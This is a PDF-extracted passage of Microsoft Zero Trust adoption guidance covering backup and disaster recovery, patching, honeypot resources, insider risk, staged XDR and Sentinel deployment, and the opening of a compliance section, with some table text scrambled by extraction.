Replication from Azure Public Multi-Access Edge Compute (MEC) to the region
Replication between two Azure Public MECs
On-premises VMs, Azure Stack VMs, and physical servers
Use Azure Site Recovery as part of your BCDR solution.
ﾉ Expand table
Site Recovery overview Get started with the documentation set.
Module: Protect your on-premises Learn how to provide disaster recovery for your on-
infrastructure from disasters with premises infrastructure by using Azure Site Recovery.
Azure Site Recovery
Module: Protect your Azure Learn how to provide disaster recovery for your Azure
infrastructure with Azure Site infrastructure by customizing replication, failover, and
Recovery failback of Azure virtual machines.
Encrypt network communication
This objective is more of a check to be sure your network traffic is encrypted. Check in
with your networking team to make sure these recommendations are satisfied.
ﾉ Expand table
Ensure user-to-app internal traffic is encrypted: Secure networks with Zero

Trust-Objective 3: User-to-
- Enforce HTTPS-only communication for your internet-facing web app internal traffic is
applications. encrypted
- Connect remote employees and partners to Microsoft Azure using
Azure VPN Gateway.
- Access your Azure virtual machines securely using encrypted
communication through Azure Bastion.
Encrypt application backend traffic between virtual networks. Secure networks with Zero
Trust-Objective 6: All
Encrypt traffic between on-premises and cloud. traffic is encrypted
For network architects, this article helps put recommended Networking up (to the
networking concepts into perspective. Ed Fisher, Security & cloud)-One architect's
Compliance Architect at Microsoft, describes how to optimize your viewpoint
network for cloud connectivity by avoiding the most common
pitfalls.
Stage 2
The Stage 2 deployment objectives include segmenting your network to exercise better
control for traffic to sensitive resources, ensuring your servers and devices are patched
with updates in a timely manner, creating honeypot resources to deceive and distract
attackers, and beginning the management of your insider risks.
Implement Microsoft 365 and Azure Backup for critical business

data
BCDR is an important element of breach mitigation and a crucial part of a BCDR

infrastructure is backup and restore. For cyberattacks, you also need to protect your
backups against deliberate erasure, corruption, or encryption. In a ransomware attack,
the attacker can encrypt, corrupt, or destroy both your live data and the backups,
leaving your organization susceptible to a ransom to restore your business operations.
To address this vulnerability, copies of your backed-up data must be immutable.
Microsoft offers Microsoft 365 Backup and Azure Backup for native backup and restore
functions.
Microsoft 365 Backup is a new offering (currently in preview) that backs up your
Microsoft 365 tenant data for Exchange, OneDrive, and SharePoint workloads at scale
and provides quick restores. Microsoft 365 Backup or applications built on top of the
Microsoft 365 Backup Storage platform deliver the following benefits regardless of the
size or scale of your tenant:
Fast, immutable backup within hours

Fast restore within hours
Full SharePoint site and OneDrive account restore fidelity, meaning the site and
OneDrive are restored to their exact state at specific prior points in time via a
rollback operation
Full Exchange mailbox item restores or granular item restores using search
Consolidated security and compliance domain management
For more information, see the Microsoft 365 Backup overview.

The Azure Backup service provides simple, secure, and cost-effective solutions to back
up your data and recover it from the Microsoft Azure cloud. Azure Backup can back up:
On-premises files, folders, system state, on-premises VMs (Hyper-V and VMware)
and other on-premises workloads.
Azure VMs or files, folders, and system state.
Azure Managed Disks
Azure Files shares
SQL Server in Azure VMs
SAP HANA databases in Azure VMs
Azure Database for PostgreSQL servers
Azure Blobs
ﾉ Expand table
Module: Design a solution for Learn how to select appropriate backup solutions and
backup and disaster recovery disaster recovery solutions for Azure workloads.
Overview of Microsoft 365 Backup Get started with the documentation set for Microsoft 365
Backup.
Overview of Azure Backup service Get started with the documentation set for Azure Backup.
Backup and restore plan to protect Learn how Azure Backup protects against a ransomware
against ransomware attack.
You can use Microsoft 365 Backup and Azure Backup as part of your BCDR solution.
You can also use incremental snapshots in Azure for forensic investigation after a
breach. Incremental snapshots are point-in-time backups for managed disks that, when
taken, consist only of the changes since the last snapshot. Snapshots allow you to
establish the last point in time before a breach occurred and restore it to that state.
Identity protection for the user accounts used to administer backups must use strong
authentication with MFA and should use PIM for JIT access. Also ensure that your
backup infrastructure is protected using secondary identities from another identity
provider, such as local identities or local system identities. These are known as break
glass accounts.
For example, if the cyberattack has compromised your Microsoft Entra ID tenant and
you're now locked out of using a Microsoft Entra ID administrator account to access
your backups, the backup infrastructure must allow for a sign-in that is separate from
the compromised Microsoft Entra ID tenant.
Implement a patching plan
A patching plan includes configuring automatic updating across all your entire
operating system estate so that patches are rolled out quickly to avoid attackers who
rely on unpatched systems as attack vectors.
ﾉ Expand table
Endpoint management at Microsoft Get started with an overview of endpoint

management solutions from Microsoft.
Endpoint management Get started with the documentation to manage your

endpoints.
Apply Zero Trust to Azure IaaS: Automate Configure automatic updates for Windows and Linux-
virtual machine updates based virtual machines.
Windows Update settings that you can Manage Windows Update settings for Windows 10
manage through Intune policy and Windows 11 with Microsoft Intune.
Also consider updates and patches needed by other devices, especially those that:
Provide security.
Examples include internet access routers, firewalls, packet filtering devices, and
other intermediate security analysis devices.
Are part of your BCDR infrastructure.
Examples include on-premises or on-line third-party backup services.
Create honeypot resources
You deliberately create honeypot resources—such as identities , file shares,

applications, and service accounts—so they can be discovered by attackers. These
resources are dedicated to attracting and deceiving attackers and aren’t part of your
normal IT infrastructure.
Your honeypot resources should reflect typical targets for attackers. For example:
User account names that imply administrator access but have no privileges beyond
the honeypot resources.
File share resources that have file names implying sensitive data, such as
CustomerDatabase.xlxs, but the data is fictional.
After deploying your honeypot resources, use your threat protection infrastructure to
monitor them and detect an attack early. Ideally the detection occurs before the attacker
has determined that the honeypot resources are fake and uses lateral transfer
techniques to live off the land, in which the attacker uses your own apps and tools to
attack your assets. During the attack on the honeypot resources, you can also collect
information about the attacker’s identity, methods, and motivations.
With the new deception capability in Microsoft Defender XDR, you can enable and
configure authentic-looking decoy accounts, hosts, and lures. The fake assets generated
by Defender XDR are then automatically deployed to specific clients. When an attacker
interacts with the decoys or lures, the deception capability raises high confidence alerts,
helping your security team's investigations and allowing them to observe an attacker's
methods and strategies.
For more information, see the overview.
Get started with Microsoft Purview Insider Risk Management
Microsoft Purview Insider Risk Management helps you quickly identify, triage, and act on
potentially risky activity. By using logs from Microsoft 365 and Microsoft Graph, insider
risk management allows you to define specific policies to identify risk indicators.
Examples of internal risks from users include:
Leaks of sensitive data and data spillage

Confidentiality violations
Intellectual property (IP) theft
Fraud
Insider trading
Regulatory compliance violations
After identifying the risks, you can take action to mitigate these risks, and if necessary
open investigation cases and take appropriate legal action.
ﾉ Expand table
Insider risk management Get started with the documentation set.
Module: Manage insider risk Learn about insider risk management and how Microsoft
in Microsoft Purview technologies can help you detect, investigate, and act on risky
activities in your organization.
Module: Implement Learn how to use Microsoft Purview Insider Risk Management to
Microsoft Purview Insider plan your insider risk solution, create insider risk management
Risk Management policies, and manage insider risk management alerts and cases.
Stage 3
In this stage, you extend your backup and site recovery scope to include all business
data and workloads, further your ability to prevent network-based attacks, and create a
more formal design and plan for your threat and BCDR response.
Implement Microsoft 365 Backup and Azure Backup for all

business data
Once you're satisfied that Microsoft 365 Backup and Azure Backup is working for your
critical data and has been tested in recovery exercises, you can now extend it to include
all your business data.
Implement Azure Site Recovery for all workloads
Once you're satisfied that Azure Site Recovery is working for your critical data and has
been tested in recovery exercises, you can now extend it to include all your business
data.
Gain visibility into network traffic
Cloud applications that have opened endpoints to external environments, such as the
internet or on-premises, are at risk of attacks coming in from those environments. To
prevent these attacks, you must scan the traffic for malicious payloads or logic.
For more information, see Cloud native filtering and protection for known threats.
Design your threat and BCDR response
The consequences of a breach can run the spectrum of an attacker infecting devices
with malware, which might be detected and contained relatively easily, to ransomware
attacks in which the attacker has already exfiltrated, encrypted, or destroyed some or all
your organization’s sensitive data and is ransoming its exposure or restoration.
In a crippling ransomware attack, your organization can suffer a long-term business

disruption that is similar in many respects to a crisis or a natural disaster. Think about a
breach and its resulting destructive cyberattack as a human-made crisis or disaster.
Therefore, it's important to include breaches and the possibility of a highly destructive
cyberattack in your BCDR planning. The same infrastructure that you would use to
continue your business operations in a crisis or after a natural disaster can and should
be used to recover from an attack.
If you already have a BCDR plan in place, review it to ensure that it includes the data,
devices, applications, and processes that could be impacted in a cyberattack.
If not, begin your planning process for general BCDR and include cyberattacks as a
source of crisis or disaster. Note that:
BC plans ensure that the business can function normally in the event of a crisis.
DR plans include contingencies to recover from loss of data or infrastructure

through backups of data and replacement or recovery of infrastructure.
DR plans should include detailed procedures for recovering your IT systems and
processes to restore business operations. These plans should have an off-line
backup, such as on portable media stored in a location with physical security in
place. Attackers can hunt for these types of IT recovery plans in your on-premises
and cloud locations and destroy them as part of a ransomware attack. Because the
destruction of these plans will make it more costly for you to restore your business
operations, the attackers can demand more ransom.
Microsoft 365 Backup, Azure Backup, and Azure Site Recovery described in this article
are examples of BCDR technologies.
ﾉ Expand table
Module: Design a solution for Learn how to select appropriate backup solutions and
backup and disaster recovery disaster recovery solutions for Azure workloads.
Stage 4
In this stage, you further secure your network and ensure that your BCDR plan and
process works by practicing it for destructive cyberattack situations.
Discontinue legacy network security technology

Examine the set of technologies and products that your organization uses to provide
network security and determine whether they're necessary or redundant with other
network security capabilities. Each network security technology can also be a target for
attackers. For example, if the technology or product isn’t being updated on a timely
basis, consider removing it.
For more information, see Discontinue legacy network security technology, which
describes the types of network security technologies that you might no longer need.
Practice threat and BCDR response
To ensure that your business operations can quickly recover from a devastating
cyberattack, you should regularly practice your BCDR plan in conjunction with your
SecOps team. Consider performing BCDR practice for cyberattacks once a month or
quarter and when elements of your BCDR infrastructure change, such as the use of a
different backup product or method.
Cloud adoption plan

attributes of a successful adoption plan for Implementing security breach prevention
and recovery include:
and rolling out breach prevention and attack recovery capabilities across your
digital estate, be sure to revisit your strategy and objectives to ensure your plans
are aligned. This includes priority and target milestones of goals for breach
prevention and recovery.
about your environment and the capability set you're using. At each stage of your
roll-out, revisit your results compared to the objectives and fine tune the plans. For
example, you can revisit earlier work to fine tune your policies.
Training your staff and users is well-planned: From your security architects to
your IT specialists for networking, devices, and BCDR, everybody has been trained
to be successful with their breach prevention and recovery responsibilities.
adoption.
Ready phase

Use the resources listed in this article to prioritize your plan. The work of implementing
breach prevention and recovery represents one of the layers in your multi-layer Zero
Trust deployment strategy.
The staged approach recommended in this article includes cascading breach prevention
and recovery work in a methodical way across your digital estate. At this phase, revisit
these elements of the plan to be sure everything is ready to go:
Use of Microsoft Entra PIM has been tested for administrator accounts and your IT
admins are trained to use it
Your networking infrastructure has been tested for data encryption as needed,
segmenting to filter access has been tested, and redundant legacy networking
technologies have been determined and tests run to ensure operation if they're
removed
Your system patching practices have been tested for successful installation of
updates and detection of failed updates
You have begun analysis of your insider risks and how to manage them
Your honeypot resources are deployed and have been tested along with your
threat protection infrastructure to detect access
Your BCDR infrastructure and practices have been tested on a subset of data
Adopt phase
Microsoft recommends a cascading, iterative approach to implementing breach

prevention and recovery. This allows you to refine your strategy and policies as you go
to increase the accuracy of the results. There’s no need to wait until one phase is
complete before beginning the next. Your results are more effective if you iterate along
the way.
The main elements of your organization’s adopt phase should include:
Enabling Microsoft Entra PIM for all your administrator and other privileged
accounts
Implementing network traffic encryption, segmentation, and removal of legacy
systems
Deploying honeypot resources
Deploying your patch management infrastructure
Analyzing your insider risks and mapping them to Insider Risk Management
Deploying and practicing your BCDR infrastructure for critical data (Stage 1) or all
business data (Stage 3)
Governance of your organization’s ability to implement breach prevention and recovery

is an iterative process. By thoughtfully creating your implementation plan and rolling it
out across your digital estate you have created a foundation. Use the following tasks to
help you start building your initial governance plan for this foundation.
ﾉ Expand table
Objective Tasks
Track and Assign owners for critical actions and projects, such as IT admin education and
measure honeypot resource management, patch management, networking security, and
BCDR procedures.
Create actionable plans with dates for each action and project, and instrument
progress using reports and dashboards.
Monitor - Track PIM requests and resulting actions.

- Monitor access to honeypot resources.
- Monitor systems to be patched for update installation failures.
- Test BCDR procedures for completeness and restoration integrity.
Iterate for - Survey networking infrastructure for additional legacy systems that can be
maturity removed.
Objective Tasks
- Adapt BCDR infrastructure for new resources and features.
Next Steps



resources.
ﾉ Expand table
phase.

phase.
Feedback
Article • 04/24/2024
As part of Zero Trust adoption guidance, this article describes how to protect your
organization from cyberattacks and their possible resulting cost and reputation loss.
This article is part of the Prevent or reduce business damage from a breach business
scenario and focuses on how to create a threat protection and eXtended detection and
response (XDR) infrastructure to detect and thwart cyberattacks in progress and
minimize the business damage from a breach.
For the elements of the Assume breach Zero Trust guiding principle:
Described in the implement security breach prevention and recovery infrastructure

article.
Described in the implement security breach prevention and recovery infrastructure

article.
This article assumes that you have already modernized your security posture.
The adoption cycle for implementing threat

protection and XDR
This article walks through implementing threat protection and XDR elements of the
Prevent or reduce business damage from a breach business scenario using the same
lifecycle phases as the Cloud Adoption Framework for Azure—Define strategy, Plan,
Ready, Adopt, and Govern and manage—but adapted for Zero Trust.

ﾉ Expand table

manage

Organizational Test
plans Pilot detect
Strategic goals
Skills Iterate for
readiness maturity
overview.
For more information about the "Prevent or reduce business damage from a breach"
business scenario, see:
The overview
The additional elements of implementing security breach prevention and recovery
infrastructure
the "Why?" of this scenario. In this phase, you understand the scenario through
needs.
Motivations for implementing threat protection and XDR
The motivations for implementing threat protection and XDR are straightforward, but
different parts of your organization have different incentives for doing this work. The
following table summarizes some of these motivations.
ﾉ Expand table
Area Motivations
Business To prevent an impact on or disruption of your organization’s ability to perform

needs normal business activities or being held for ransom, lower the cost of cyber
insurance, and prevent regulatory fines.
IT needs To assist the Security Operations (SecOps) team in creating and maintaining an
integrated defense toolset to secure the assets important to the business.
Integration and reporting should occur across asset classes and technologies and
lower the effort required to provide predictable security outcomes.
Operational To keep your business processes operating through proactive detection and
needs response to attacks in real time.
Strategic Minimize attack damage and costs and maintain your organization’s reputation
needs with customers and partners.
Outcomes for implementing threat protection and XDR

Applying the overall goal of Zero Trust to "never trust, always verify" adds a significant
layer of protection to your environment. It’s important to be clear on the outcomes you
expect to achieve so that you can strike the right balance of protection for all teams
involved. The following table provides suggested objectives and outcomes for
implementing threat protection and XDR.
ﾉ Expand table
Objective Outcome
Business Threat protection results in minimal costs associated with business

outcomes disruption, ransom payments, or regulatory fines.
Governance Threat protection and XDR tools are deployed and SecOps processes are
updated for the changing cybersecurity landscape, threats that are
encountered, and automation of incident response.
Organizational Between security breach prevention and recovery and proactive threat
resilience protection, your organization can recover from an attack quickly and prevent
Objective Outcome
future attacks of its type.
Security Threat protection is integrated into your overall security requirements and
policies.
Plan phase
teams, support the "Why?" for your organization and become the North Star for your
Technical adoption for implementing threat protection and XDR involves:
Setting up the suite of XDR tools provided by Microsoft to:
Perform incident response to detect and thwart attacks.
Proactively hunt for threats.
Automatically detect and respond to known attacks.
Integrating Microsoft Defender XDR and Microsoft Sentinel.
Defining SecOps processes and procedures for incident response and recovery.
Implementing threat protection and XDR also involves a few related activities, including:
Using the XDR tools to monitor both your business critical and honeypot
resources, which you implemented in the security breach prevention and recovery
article to lure attackers into showing their presence before they can attack your
real resources.
Evolving your SecOps team to be aware of the latest attacks and their methods.
ﾉ Expand table
Turn on XDR tools: Turn on Defender for Turn on Defender for Evolve SecOps as a
- Defender for Cloud IoT discipline in your
Endpoint organization
- Defender for Office Define internal Design a Microsoft
365 process for SecOps Sentinel workspace Leverage automation
- Microsoft Entra ID and ingest XDR to reduce load on your
Protection Monitor business signals SecOps analysts
- Defender for Identity critical and honeypot
- Defender for Cloud resources with XDR Proactively hunt for
Apps tools threats
Investigate and
respond to threats
using Microsoft
Defender XDR


to the exercise of understanding your organization.
includes taking inventory and determining the current state of your SecOps team. For
this business scenario, you need to:
Inventory your current XDR tools, their integration, and the use of automation for
incident response.
Review your incident response and recovery procedures and processes.
Review the deployment of your honeypot resources.
Determine the readiness state of your security analysts and whether they need
additional skills training or development.

The technical work of implementing threat protection and XDR falls your organization’s
security team responsible for threat detection and response, which is mostly staffed by
frontline security analysts who understand the current threat landscape and can use
XDR tools to detect and respond quickly to an attack.
ﾉ Expand table

technical owners
CISO, CIO, or Director Executive sponsorship

of Data Security
technical owners

Data Security
Security Architect Advise on incident response strategies and practices, XDR tools and
infrastructure, and SecOps team evolution
SecOps lead Implement incident response procedures, XDR infrastructure

configuration, incident response automation, and the SecOps discipline
in your organization
Security for IT lead Advise on, implement, and manage business critical and honeypot
resources

capabilities, how they work together, and best practices for approaching this work.
Because Zero Trust assumes breach, you must prepare for a breach. Adopt a breach
response framework based on NIST , ISO 27001 , CIS , or MITRE to lower the
impact of a breach or cyberattack on your organization.
The following table includes several Microsoft training resources to help your security
teams gain skills.
ﾉ Expand table
Module: Mitigate incidents with Learn how the Microsoft Defender XDR portal provides a
Microsoft Defender XDR unified view of incidents and alerts from the Microsoft
Defender XDR family of products.
Learning Path: Mitigate threats using Analyze threat data across domains and rapidly remediate
Microsoft Defender XDR threats with built-in orchestration and automation in
Microsoft Defender XDR.
Module: Improve your reliability with Learn the fundamentals of efficient incident response and
modern operations practices: the Azure tools that make them possible.
Incident response
Module: Training: Security incident Learn about Microsoft Sentinel events and entities and
management in Microsoft Sentinel discover ways to resolve incidents.
Stage 1
The Stage 1 deployment objectives include enabling your primary Microsoft XDR tools
and the use of Microsoft Defender XDR, which integrates the signals from the tools into
a single portal, for incident response.
Turn on XDR tools
Start with the core suite of XDR tools to protect your organization from attacks on
devices, identities, and cloud-based applications.
ﾉ Expand table
Microsoft An enterprise endpoint security platform to help your enterprise network

Defender for prevent, detect, investigate, and respond to advanced threats against devices,
Endpoint which may include laptops, phones, tablets, PCs, access points, routers, and
firewalls.
Defender for A seamless integration into your Microsoft 365 or Office 365 subscription that
Office 365 protects against threats in email, links (URLS), attachments, and collaboration
tools.
Microsoft Entra Helps organizations detect, investigate, and remediate identity-based risks.
ID Protection These identity-based risks can be further fed into tools like Entra Conditional
Access to make access decisions or fed back to a security information and event
management (SIEM) tool for further investigation and correlation.
Defender for Leverages signals from both on-premises Active Directory and cloud identities
Identity to help you better identify, detect, and investigate advanced threats directed at
your organization.
Defender for Delivers full protection for SaaS applications, helping you monitor and protect
Cloud Apps your cloud app data.
Investigate and respond to threats using Microsoft Defender XDR
Now that you have enabled the primary XDR tools, you can begin using Microsoft
Defender XDR and its portal to analyze alerts and incidents and perform incident
response on suspected cyberattacks.
ﾉ Expand table
Integrating Microsoft 365 Carefully plan your integration with your SecOps team to optimize
XDR into your security the day-to-day operations and lifecycle management of the tools
operations in the Microsoft Defender XDR.
Incident response with How to use Microsoft Defender XDR to analyze alerts and
Microsoft Defender XDR incidents and incorporate best practices into your SecOps
procedures and processes.
Investigate incidents with How to analyze the alerts that affect your network, understand
Microsoft Defender XDR what they mean, and collate the evidence so that you can devise
an effective remediation plan.
Module: Mitigate incidents Learn how the Microsoft Defender XDR portal provides a unified
with Microsoft Defender view of incidents and alerts from the Microsoft Defender XDR
XDR family of products.
Learning Path: Mitigate Analyze threat data across domains and rapidly remediate threats
threats using Microsoft with built-in orchestration and automation in Microsoft Defender
Defender XDR XDR.
Stage 2
In this stage, you enable additional XDR tools for Azure and on-premises resources,
create or update your SecOps processes and procedures for Microsoft threat protection
and XDR services, and monitor your business critical and honeypot resources to detect
cyber attackers early in the breach.
Turn on Microsoft Defender for Cloud
Microsoft Defender for Cloud is a cloud-native application protection platform (CNAPP)

designed to protect cloud-based applications from various cyber threats and
vulnerabilities. Use Microsoft Defender for Cloud for Azure, hybrid cloud, and on-
premises workload protection and security.
ﾉ Expand table
Microsoft Defender for Cloud Get started with the documentation set.
Security alerts and incidents for Use Microsoft Defender for Cloud Security to perform
Microsoft Defender for Cloud incident response for your Azure, hybrid cloud, and on-
premises workloads.
Module: Remediate security alerts Learn how to hunt for threats and remediate risks for your
using Microsoft Defender for Azure, hybrid cloud, and on-premises workloads.
Cloud
Learning Path: Mitigate threats Learn how to detect, investigate, and respond to advanced
using Microsoft Defender for threats on your Azure, hybrid cloud, and on-premises
Cloud workloads.
Define internal process for SecOps
With the Microsoft XDR tools in place, ensure that their use is integrated into your
SecOps processes and procedures.
ﾉ Expand table
Incident response overview Proactively investigate and remediate active attack campaigns
on your organization.
Incident response planning Use this article as a checklist to prepare your SecOps team to
respond to cybersecurity incidents.
Common attack incident Use these articles for detailed guidance on common attack
response playbooks methods that malicious users employ every day.
Integrating Microsoft 365 XDR Carefully plan your integration with your SecOps team to
into your security operations optimize the day-to-day operations and lifecycle management
tools in the Microsoft Defender XDR.
Six Tabletop Exercises to Help Use these exercises provided by the Center for Internet Security
Prepare Your Cybersecurity (CIS) to prepare your SecOps team.
Team
Monitor business critical and honeypot resources with XDR tools
Your deployed honeypot resources act as a target for cyber attackers and can be used to
detect their activities early before they move on to real targets and cause business
damage. Focus part of your threat detection and hunting on monitoring both your
business critical and honeypot resources.
ﾉ Expand table
Incident response with Use Microsoft Defender XDR to spot incidents with alerts that affect
Microsoft Defender XDR your business critical and honeypot resources.
Security alerts and Use Microsoft Defender for Cloud to search for alerts triggered by
incidents for Microsoft advanced detections for your business critical and honeypot
Defender for Cloud resources, such as Azure, hybrid cloud, and on-premises workloads.
Stage 3
In this stage, you enable Defender for IoT, integrate Microsoft Defender XDR with
Microsoft Sentinel, and then use the combined threat protection and XDR infrastructure
to proactively hunt for threats.
Turn on Defender for IoT
The Internet of Things (IoT) supports billions of connected devices that use both
operational technology (OT) and IoT networks. IoT/OT devices and networks are often
built using specialized protocols and might prioritize operational challenges over
security. Microsoft Defender for IoT is a unified security solution built specifically to
identify IoT and OT devices, vulnerabilities, and threats.
ﾉ Expand table
Microsoft Defender for IoT Get started with the documentation set.
Module: Introduction to Learn about Defender for IoT components and features and
Microsoft Defender for IoT how they support OT and IoT device security monitoring.
Learning Path: Enhance IoT Learn about security considerations that apply at each level of
solution security by using the IoT solution and the Azure services and tools that can be
Microsoft Defender for IoT configured to address security concerns from the ground up.
Design a Microsoft Sentinel workspace and ingest XDR signals
Microsoft Sentinel is a cloud-native solution that provides security information and

event management (SIEM) and security orchestration, automation, and response (SOAR)
capabilities. Together, Microsoft Sentinel and Microsoft Defender XDR provide a
comprehensive solution to help your organization defend against modern cyberattacks.
ﾉ Expand table
Implement Microsoft Sentinel and Get started with this solution documentation that also
Microsoft Defender XDR for Zero incorporates Zero Trust principles.
Trust
Module: Connect Microsoft Learn about the configuration options and data provided
Defender XDR to Microsoft Sentinel by Microsoft Sentinel connectors for Microsoft Defender
XDR.
Architect your Microsoft Sentinel Learn how to design and implement Microsoft Sentinel
workspace workspaces.
Ingest data sources and configure Learn how to configure data connectors for data ingestion
incident detection in Microsoft into your Microsoft Sentinel workspace.
Sentinel
Module: Connect data to Microsoft Get an overview of the available data connectors for
Sentinel using data connectors Microsoft Sentinel.
Proactively hunt for threats
Now that your XDR and SIEM infrastructure is in place, your SecOps team can take the
initiative and proactively hunt for threats in progress in your environment instead of
acting reactively to attacks that have already caused damage.
ﾉ Expand table
Proactively hunt for threats with advanced Get started with the documentation set for threat
hunting in Microsoft Defender XDR hunting with Microsoft Defender XDR.
Hunt for threats with Microsoft Sentinel Get started with the documentation set for threat
hunting with Microsoft Sentinel.
Module: Threat hunting with Microsoft Learn to proactively identify threat behaviors by
Sentinel using Microsoft Sentinel queries.
Stage 4
In this stage, you evolve SecOps as a discipline in your organization and use the
capabilities of Microsoft Defender XDR and Microsoft Sentinel to automate incident
responses for known or previous attacks.
Evolve SecOps as a discipline in your organization
Multiple complex malicious events, attributes, and contextual information comprise

advanced cybersecurity attacks. Identifying and deciding which of these activities qualify
as suspicious can be a challenging task. Your knowledge of known attributes and
abnormal activities specific to your industry is fundamental in knowing when to
determine that an observed behavior is suspicious.
To evolve your SecOps team and discipline beyond the day-to-day tasks of incident
response and recovery, specialists or senior members should understand the larger
threat landscape and disseminate that knowledge throughout the team.
ﾉ Expand table
Threat analytics in Use the threat analytics dashboard in the Microsoft Defender XDR
Microsoft Defender portal (requires sign-in) for reports that are most relevant to your
XDR organization.
Microsoft Defender Use this built-in platform to streamline triage, incident response, threat
Threat Intelligence hunting, vulnerability management, and cyber threat intelligence analyst
(Defender TI) workflows when conducting threat infrastructure analysis and gathering
threat intelligence.
Microsoft Security Get the latest about security threats and new features and updates for
Blog Microsoft Defender XDR and Microsoft Sentinel.
Leverage automation to reduce load on your SecOps analysts
Use the capabilities of Microsoft Defender XDR and Microsoft Sentinel to automate
incident response to detect and recover from known and anticipated incidents and to
better focus your SecOps team on unanticipated attacks and new attack methods.
ﾉ Expand table
Automated investigation and response Get started with the Microsoft Defender XDR
in Microsoft Defender XDR documentation set.
Configure automated investigation and For attacks on devices, get started with the Microsoft
remediation capabilities Defender for Endpoint documentation set.
Automate threat response with Get started with the documentation set for using
playbooks in Microsoft Sentinel playbooks in Microsoft Sentinel.
Cloud adoption plan

attributes of a successful adoption plan for implementing threat protection and XDR
include:
and rolling out threat protection and attack recovery capabilities across your on-
premises and cloud infrastructure, be sure to revisit your strategy and objectives to
ensure your plans are aligned. This includes priority and target milestones of goals
for attack detection and response and use of automation.
about your XDR environment and the tools you're using. At each stage of your
roll-out, revisit your results compared to the objectives and fine tune the plans. For
example, this can include revisiting earlier work to fine tune procedures and
policies.
Training your SecOps staff is well-planned: From your security architects to your
frontline security analysts, everybody is trained to be successful with their threat
protection, detection, mitigation, and recovery responsibilities.
adoption.
Ready phase

Use the resources listed in this article to prioritize your plan. The work of implementing
threat protection and XDR represents one of the layers in your multi-layer Zero Trust
deployment strategy.
The staged approach recommended in this article includes cascading the threat
protection work in a methodical way across your digital estate. At this phase, revisit
these elements of the plan to be sure everything is ready to go:
Your SecOps team is informed that changes to their incident response processes
for Microsoft Defender XDR and Microsoft Sentinel are imminent
Your SecOps team is informed of documentation and training resources
Threat hunting procedures and guidelines and automation techniques are ready
for use by analysts
Your honeypot resources are in place
The planning phase demonstrated the gap between what you have and where you want
to be. Use this phase to implement and test XDR tools and their use. For example,
SecOps team leads can:
Enable and use XDR tools for Microsoft Defender XDR to perform incident
response on current attacks
Configure the integration of Microsoft Defender XDR and Microsoft Sentinel using
data connectors and workspaces
Define or refine the SecOps team procedures and processes
Explore and test threat hunting for proactive identification of threats and
automation to detect and recover from known attacks
Adopt phase

Microsoft recommends a cascading, iterative approach to implementing threat
protection and XDR. This allows you to refine your strategy and policies as you go to
increase the accuracy of the results. There’s no need to wait until one phase is complete
before beginning the next. Your results are more effective if you implement elements of
each stage if you iterate along the way.
The main elements of your Adopt phase should include:
Making Microsoft Defender XDR part of your ongoing, day-to-day incident

response workflow in your SecOps team.
Using the features of Microsoft Sentinel with Microsoft Defender XDR integration.
Implementing automation to address known attacks, freeing up your SecOps team
to perform threat hunting, and evolving your team’s discipline to be forward-
thinking and prepared for new trends in cyberattacks
Governance of your organization’s ability to detect attacks with a threat protection and
XDR infrastructure is an iterative process. By thoughtfully creating your implementation
plan and rolling it out across your SecOps team you have created a foundation. Use the
following tasks to help you start building your initial governance plan for this
foundation.
ﾉ Expand table
Objective Tasks
Track and Assign owners for critical actions and responsibilities such as incident response
measure procedures, threat intelligence gathering and dissemination, and automation
maintenance.
Create actionable plans with dates and schedules for each action.
Monitor and Manage security threats using Microsoft Defender XDR and Microsoft Sentinel,
detect using automation for common or previous attacks.
Objective Tasks
Iterate for Continually reassess risks and the cyberthreat landscape and make changes to
maturity SecOps procedures, responsibilities, policies, and priorities.
Next Steps



resources.
ﾉ Expand table
phase.

phase.
Feedback
Meet regulatory and compliance
requirements
Article • 04/24/2024
meeting regulatory and compliance requirements that might be applicable to your
organization.
Regardless of the complexity of your organization’s IT environment or the size of your

organization, new regulatory requirements that might affect your business are
continually adding up. These regulations include the European Union’s General Data
Protection Regulation (GDPR), the California Consumer Privacy Act (CCPA), a myriad of
healthcare and financial information regulations and data residency requirements.
The process of meeting regulatory and compliance requirements can be long, complex,
and tedious when not managed properly. This challenge has considerably increased the
workload of security, compliance, and regulations teams to achieve and prove
compliance, prepare for an audit, and put ongoing best practices into place.
A Zero Trust approach often exceeds some types of requirements imposed by

compliance regulations, for example, those controlling access to personal data.
Organizations that have implemented a Zero Trust approach may find that they already
meet some new conditions or can easily build upon their Zero Trust architecture to be
compliant.
ﾉ Expand table
Traditional approaches to meeting Modern approach to meeting regulatory

regulatory and compliance requirements and compliance requirements with Zero
Trust
Many organizations use various legacy solutions Unifying your security strategy and policy with
stitched together. These solutions often don’t a Zero Trust approach breaks down silos
work together seamlessly, exposing between IT teams and systems, enabling better
infrastructure gaps and increasing operational visibility and protection across the IT stack.
costs.
Natively integrated compliance solutions, such
Some independent "best of breed solutions" as those in Microsoft Purview, not only work
might even prevent compliance with certain together to support your compliance
regulations while they're used to meet another. requirements and those of a Zero Trust
approach, but they do it with full transparency,
One widespread example is the use of allowing each solution to leverage the benefits
encryption to ensure that authorized individuals of others, such as communication compliance
Traditional approaches to meeting Modern approach to meeting regulatory
regulatory and compliance requirements and compliance requirements with Zero
Trust
handle data securely. But most encryption leveraging sensitivity labels in content.
solutions make data opaque to services such as Integrated compliance solutions can provide
Data Loss Prevention (DLP), eDiscovery, or the required coverage with minimal tradeoffs,
archiving. Encryption prevents the organization such as encrypted content being transparently
from performing due diligence on actions processed by eDiscovery or DLP solutions.
performed by users that utilize encrypted data.
This result forces organizations to make hard Real-time visibility allows automatic discovery
and risky decisions, such as either banning all of assets, including critical assets and
use of file-level encryption for transfers of workloads, while compliance mandates can be
sensitive data or letting encrypted data go applied to these assets through classification
outside the organization uninspected. and sensitivity labeling.
Implementing a Zero Trust architecture helps

you meet regulatory and compliance
requirements with a comprehensive strategy.
The use of Microsoft Purview solutions in a
Zero Trust architecture helps you discover,
govern, protect, and manage your
organization’s entire data estate according to
the regulations that impact your organization.
Zero Trust strategies often involve

implementing controls that meet or exceed
certain regulatory requirements, which reduce
the burden of performing system-wide
changes to adhere to new regulatory
requirements.
The guidance in this article walks you through how to get started with Zero Trust as a
framework for meeting your regulatory and compliance requirements with an emphasis
on how to communicate and work with business leaders and teams across your
organization.
This article uses the same lifecycle phases as the Cloud Adoption Framework for Azure—
Define strategy, Plan, Ready, Adopt, and Govern and manage—but adapted for Zero
Trust.

ﾉ Expand table

manage
Organizational Stakeholder Evaluate Incrementally implement Track and

alignment team across your digital estate measure
Test
Strategic goals Technical Monitor and
plans Pilot detect
Outcomes
Skills Iterate for
